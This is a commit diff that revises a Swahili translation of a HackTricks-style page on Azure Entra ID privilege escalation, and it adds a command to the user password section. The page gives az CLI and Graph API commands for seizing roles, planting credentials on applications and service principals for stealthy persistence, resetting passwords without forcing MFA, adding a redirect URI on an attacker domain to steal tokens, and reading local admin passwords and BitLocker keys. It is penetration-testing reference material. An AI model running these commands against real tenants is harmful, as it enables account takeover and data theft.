Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-05-03 08:49:55 +00:00
parent 65cc01a92a
commit 9968f99fad
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Kumbuka kwamba **si ruhusa zote za kina** ambazo built-in roles zina katika Entra ID **zinastahiki kutumika katika custom roles.**
> Kumbuka kwamba **si ruhusa zote za granular** ambazo roles zilizo built-in zina katika Entra ID **zinaweza kutumika katika custom roles.**
## Majukumu
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Wadhifa huu una ruhusa za kina zinazohitajika ili kuweza kuteua roles kwa principals na kutoa ruhusa zaidi kwa roles. Vitendo vyote viwili vinaweza kutumika vibaya kupandisha hadhi za ruhusa.
Role hii ina ruhusa muhimu za granular ili iweze kugawa roles kwa principals na kutoa ruhusa zaidi kwa roles. Vitendo vyote viwili vinaweza kutumiwa vibaya ku-escalate privileges.
- Kuteua role kwa mtumiaji:
- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Ongeza ruhusa zaidi kwa role:
- Ongeza permissions zaidi kwenye role:
```bash
# List only custom roles
az rest --method GET \
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
## Programu
## Applications
### `microsoft.directory/applications/credentials/update`
Hii inamruhusu mshambuliaji **kuongeza vitambulisho** (nywila au vyeti) kwa programu zilizopo. Ikiwa programu ina ruhusa za kipaumbele, mshambuliaji anaweza kujithibitisha kama programu hiyo na kupata ruhusa hizo.
Hii inamruhusu mshambuliaji **kuongeza credentials** (passwords au certificates) kwenye applications zilizopo. Ikiwa application ina privileged permissions, mshambuliaji anaweza kuthibitisha uhalisi kama application hiyo na kupata privileges hizo.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Hii inaruhusu vitendo sawa na `applications/credentials/update`, lakini imepangwa kwa maombi ya directory moja.
Hii inaruhusu vitendo sawa na `applications/credentials/update`, lakini imewekewa scope kwa application za single-directory.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Kwa kujiongeza wao wenyewe kama owner, mshambuliaji anaweza kuathiri application, ikiwa ni pamoja na credentials na permissions.
Kwa kujiongeza kama mmiliki, mshambuliaji anaweza kudhibiti application, ikiwemo credentials na permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Mshambuliaji anaweza kuongeza redirect URI kwa applications zinazotumika na watumiaji wa tenanti kisha kuwashirikisha login URLs zinazotumia redirect URL mpya ili kuiba tokens zao. Kumbuka kwamba ikiwa mtumiaji tayari alikuwa ameingia kwenye application, authentication itafanyika moja kwa moja bila mtumiaji hajaidhinisha chochote.
Mshambulizi anaweza kuongeza redirect URI kwenye applications zinazotumiwa na watumiaji wa tenant na kisha kushiriki nao login URLs zinazotumia redirect URL mpya ili kuiba tokens zao. Kumbuka kuwa ikiwa mtumiaji alikuwa tayari ameingia kwenye application, authentication itakuwa ya moja kwa moja bila mtumiaji kuhitaji kukubali chochote.
Pia inawezekana kubadilisha ruhusa zinazohitajwa na application ili kupata ruhusa zaidi, lakini katika kesi hiyo mtumiaji atahitaji kukubali tena maombi yanayoomba ruhusa zote.
Kumbuka pia kwamba inawezekana kubadilisha permissions ambazo application inaomba ili kupata permissions zaidi, lakini katika kesi hii mtumiaji atalazimika kukubali tena prompt inayoomba permissions zote.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Kupandishwa kwa Ruhusa za Programu
### Applications Privilege Escalation
**Kama ilivyoelezwa katika [nakala hii](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, ilikuwa kawaida sana kupata program za default ambazo zina **API permissions** za aina **`Application`** zimepangwa kwao. API Permission (kama inavyoitwa kwenye Entra ID console) ya aina **`Application`** ina maana kwamba application inaweza kufikia API na kutekeleza vitendo bila muktadha wa mtumiaji (bila mtumiaji kuingia kwenye app), na bila kuhitaji Entra ID roles kuiruhusu. Kwa hiyo, ni kawaida sana kupata **applications zenye ruhusa za juu katika kila Entra ID tenant**.
**Kama ilivyoelezwa katika [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ilikuwa kawaida sana kupata default applications ambazo zina **API permissions** za aina **`Application`** zilizopewa. API Permission (kama inavyoitwa kwenye Entra ID console) ya aina **`Application`** maana yake application inaweza kufikia API na kufanya actions bila user context (bila user kuingia kwenye app), na bila kuhitaji Entra ID roles ili kuruhusu hilo. Kwa hiyo, ni kawaida sana kupata **high privileged applications katika kila Entra ID tenant**.
Kisha, ikiwa attacker ana ruhusa/role yoyote inayomruhusu **update the credentials (secret o certificate) of the application**, attacker anaweza kutengeneza credential mpya na kisha kuitumia **authenticate as the application**, kupata ruhusa zote ambazo application ina.
Kisha, kama attacker ana permission/role yoyote inayoruhusu **kisasisha credentials (secret o certificate) za application**, attacker anaweza kutengeneza credential mpya na kisha kuitumia **authenticate kama application**, na kupata permissions zote ambazo application hiyo inazo.
Tambua kuwa blog iliyotajwa inaonyesha baadhi ya **API permissions** za programu za default za Microsoft — hata hivyo muda mfupi baada ya ripoti hii Microsoft ilirekebisha tatizo hili na sasa haiwezekani kuingia kama Microsoft applications tena. Hata hivyo, bado inawezekana kupata **custom applications with high privileges that could be abused**.
Kumbuka kwamba blog iliyotajwa inashiriki baadhi ya **API permissions** za common Microsoft default applications lakini muda fulani baada ya ripoti hii Microsoft ilirekebisha issue hii na sasa haiwezekani tena kuingia kama Microsoft applications. Hata hivyo, bado inawezekana kupata **custom applications zenye privileges za juu ambazo zinaweza kutumiwa vibaya**.
Jinsi ya kuorodhesha API permissions za application:
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Pata ruhusa za API za programu zote na alama API zinazomilikiwa na Microsoft</summary>
<summary>Tafuta ruhusa zote za API za applications na weka alama kwa APIs zinazomilikiwa na Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Hii inaruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ana elevated privileges, mshambuliaji anaweza kupata na kutumia privileges hizo.
Hii inamruhusu mshambulizi kuongeza credentials kwenye service principals zilizopo. Ikiwa service principal ina privileges zilizoinuliwa, mshambulizi anaweza kujichukulia privileges hizo.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nenosiri jipya lililotengenezwa halitaonekana kwenye konsoli ya wavuti, hivyo hii inaweza kuwa njia ya siri ya kudumisha uendelevu kwa service principal.\
> Zinaweza kupatikana kutoka kwenye API kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Nenosiri jipya lililotolewa halitaonekana kwenye web console, kwa hivyo hii inaweza kuwa njia ya stealth ya kudumisha persistence juu ya service principal.\
> Kutoka kwenye API zinaweza kupatikana kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Ikiwa unapata kosa `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **haiwezekani kubadili property ya passwordCredentials** ya SP na kwanza unahitaji kuifungua. Kwa hilo unahitaji ruhusa (`microsoft.directory/applications/allProperties/update`) inayokuwezesha kutekeleza:
Ukipata kosa `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **haiwezekani kurekebisha property passwordCredentials** ya SP na kwanza unahitaji kuifungua. Kwa hilo unahitaji permission (`microsoft.directory/applications/allProperties/update`) inayokuruhusu kutekeleza:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Hii inamruhusu mshambulizi kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina privileges zilizoinuliwa, mshambulizi anaweza kuchukua haki hizo.
Hii inamruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina privileges zilizoinuliwa, mshambuliaji anaweza kuchukua hizo privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Kama ilivyo kwa applications, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa service principal. Kumiliki service principal kunaruhusu kudhibiti credentials na permissions zake.
Sawa na applications, ruhusa hii inaruhusu kuongeza owners zaidi kwenye service principal. Kumiliki service principal huruhusu udhibiti juu ya credentials na permissions zake.
```bash
# Add new owner
spId="<spId>"
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Baada ya kuongeza owner mpya, nilijaribu kuiondoa lakini API ilijibu kwamba method ya DELETE haikuungwa mkono, hata ingawa ndiyo method unayohitaji kutumia ku-delete owner. Kwa hivyo **huwezi kuondoa owners kwa sasa**.
> Baada ya kuongeza owner mpya, nilijaribu kuiondoa lakini API ilijibu kwamba njia ya DELETE haikusaidiwa, hata kama hiyo ndiyo njia unayohitaji kutumia kufuta owner. Kwa hiyo **huwezi kuondoa owners siku hizi**.
### `microsoft.directory/servicePrincipals/disable` na `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Permissions hizi zinawezesha ku-disable na ku-enable service principals. An attacker anaweza kutumia permission hii ku-enable service principal ambayo anaweza kupata access kwa njia fulani ili escalate privileges.
Hizi permissions huruhusu kuzima na kuwasha service principals. Mshambulizi anaweza kutumia permission hii kuwasha service principal ambayo angeweza kupata access kwake kwa njia fulani ili kuongeza privileges.
Kumbuka kwamba kwa technique hii attacker atahitaji permissions zaidi ili take over service principal iliyokuwa enabled.
Kumbuka kwamba kwa technique hii mshambulizi atahitaji permissions zaidi ili aweze kuchukua udhibiti wa service principal iliyowashwa.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ruhusa hizi zinaruhusu kuunda na kupata credentials za single sign-on, ambazo zinaweza kuruhusu kufikia programu za mtu wa tatu.
Ruhusa hizi zinaruhusu kuunda na kupata credentials za single sign-on ambazo zinaweza kuruhusu ufikiaji wa third-party applications.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -321,30 +321,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
Ruhusa hii inaruhusu kuongeza watumiaji kwenye vikundi vyenye ruhusa za juu, na hivyo kusababisha kupanda kwa ruhusa.
Ruhusa hii inaruhusu kuongeza watumiaji kwenye vikundi vyenye privilege, hivyo kusababisha privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: Ruhusa hii haijumuishi Entra ID role-assignable groups.
**Dokezo**: Ruhusa hii haijumuishi Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
Ruhusa hii inaruhusu mtu kuwa mmiliki wa makundi. Mmiliki wa kundi anaweza kudhibiti uanachama wa kundi na mipangilio, na hivyo kuweza kuongeza ruhusa kwa kundi.
Ruhusa hii inaruhusu kuwa mmiliki wa groups. Mmiliki wa group anaweza kudhibiti uanachama wa group na settings zake, na hivyo huenda akaongeza privileges hadi kwenye group.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Kumbuka**: Ruhusa hii haijumuishi Entra ID vikundi vinavyoweza kupewa jukumu.
**Kumbuka**: Ruhusa hii haijumuishi Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
Ruhusa hii inaruhusu kuongeza wanachama kwenye kikundi. Mshambuliaji anaweza kujiongeza mwenyewe au kuongeza akaunti zenye madhara kwenye vikundi vyenye hadhi, na hivyo kupata ufikiaji ulioboreshwa.
Ruhusa hii inaruhusu kuongeza wanachama kwenye group. Mshambulizi anaweza kujiongeza yeye mwenyewe au akaunti hasidi kwenye groups zenye privilege inaweza kutoa elevated access.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Ruhusa hii inaruhusu kusasisha membership rule katika dynamic group. Attacker anaweza kubadilisha dynamic rules ili kujijumuisha yeye mwenyewe katika privileged groups bila kuongezwa wazi.
Ruhusa hii inaruhusu kusasisha sheria ya uanachama katika dynamic group. Mshambuliaji anaweza kurekebisha dynamic rules ili ajumuishwe mwenyewe kwenye privileged groups bila kuongezwa moja kwa moja.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,27 +355,41 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note**: Ruhusa hii haitumiki kwa vikundi vinavyoweza kupewa majukumu vya Entra ID.
**Dokezo**: Ruhusa hii haijumuishi Entra ID role-assignable groups.
### Dynamic Groups Privesc
Inawezekana kwa watumiaji kuongeza mamlaka kwa kubadilisha mali zao ili kuongezwa kama wanachama wa dynamic groups. Kwa maelezo zaidi angalia:
Inaweza kuwa inawezekana kwa watumiaji kuongeza privileges kwa kubadilisha sifa zao wenyewe ili waongezwe kama wanachama wa dynamic groups. Kwa maelezo zaidi angalia:
{{#ref}}
dynamic-groups.md
{{#endref}}
## Watumiaji
## Users
### `microsoft.directory/users/password/update`
Ruhusa hii inaruhusu kuweka upya nywila kwa watumiaji wasiokuwa admin, ikimruhusu mshambuliaji kuongeza mamlaka kwa watumiaji wengine. Ruhusa hii haiwezi kutolewa kwa majukumu yaliyobinafsishwa.
Ruhusa hii inaruhusu kuweka upya nenosiri la watumiaji wasio-admin, ikimruhusu mshambulizi anayetarajiwa kuongeza privileges kwenda kwa watumiaji wengine. Ruhusa hii haiwezi kupewa custom roles.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
```
### `microsoft.directory/users/basic/update`
Ruhusa hii inaruhusu kubadilisha sifa za mtumiaji. Ni kawaida kupata dynamic groups zinazoongeza watumiaji kulingana na thamani za sifa; hivyo ruhusa hii inaweza kumruhusu mtumiaji kuweka thamani ya sifa inayohitajika ili kuwa mwanachama wa dynamic group maalum na kupandisha ruhusa.
Haki hii inaruhusu kurekebisha sifa za mtumiaji. Ni jambo la kawaida kupata dynamic groups zinazoongeza watumiaji kulingana na values za sifa, kwa hiyo, permission hii inaweza kumruhusu mtumiaji kuweka value ya sifa inayohitajika ili kuwa mwanachama wa dynamic group maalum na kuongeza privileges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -391,9 +405,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Sera za Conditional Access na kuepuka MFA
## Sera za Conditional Access & MFA bypass
Sera za Conditional Access zilizopangwa vibaya zinazohitaji MFA zinaweza kupitilizwa, angalia:
Sera za conditional access zilizo sanidiwa vibaya zinazohitaji MFA zinaweza kupuuzwa, angalia:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -403,7 +417,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Ruhusa hii inawawezesha wadukuzi kujipatia wenyewe kama wamiliki wa vifaa ili kupata udhibiti au kufikia mipangilio na data maalum ya kifaa.
Ruhusa hii inaruhusu attackers kujiteua kama wamiliki wa vifaa ili kupata udhibiti au access kwa mipangilio na data mahususi ya kifaa.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -414,7 +428,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Ruhusa hii inawawezesha washambuliaji kuhusisha akaunti yao na vifaa ili kupata ufikiaji au kuepuka sera za usalama.
Ruhusa hii inaruhusu washambuliaji kuhusisha akaunti yao na devices ili kupata access au kupita security policies.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -425,7 +439,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Ruhusa hii inawawezesha attackers kusoma sifa za backed up local administrator account credentials kwa vifaa vilivyojiunga na Microsoft Entra, ikiwa ni pamoja na password
Ruhusa hii inawaruhusu washambuliaji kusoma sifa za credentials za akaunti ya local administrator zilizo backup kwa Microsoft Entra joined devices, ikiwa ni pamoja na password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -440,7 +454,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Ruhusa hii inaruhusu kupata BitLocker keys, ambayo inaweza kumwezesha mshambuliaji ku-decrypt drives, na hivyo kuhatarisha usiri wa data.
Ruhusa hii inaruhusu kufikia BitLocker keys, jambo ambalo linaweza kumruhusu mshambuliaji ku-decrypt drives, na kuhatarisha data confidentiality.
```bash
# List recovery keys
az rest --method GET \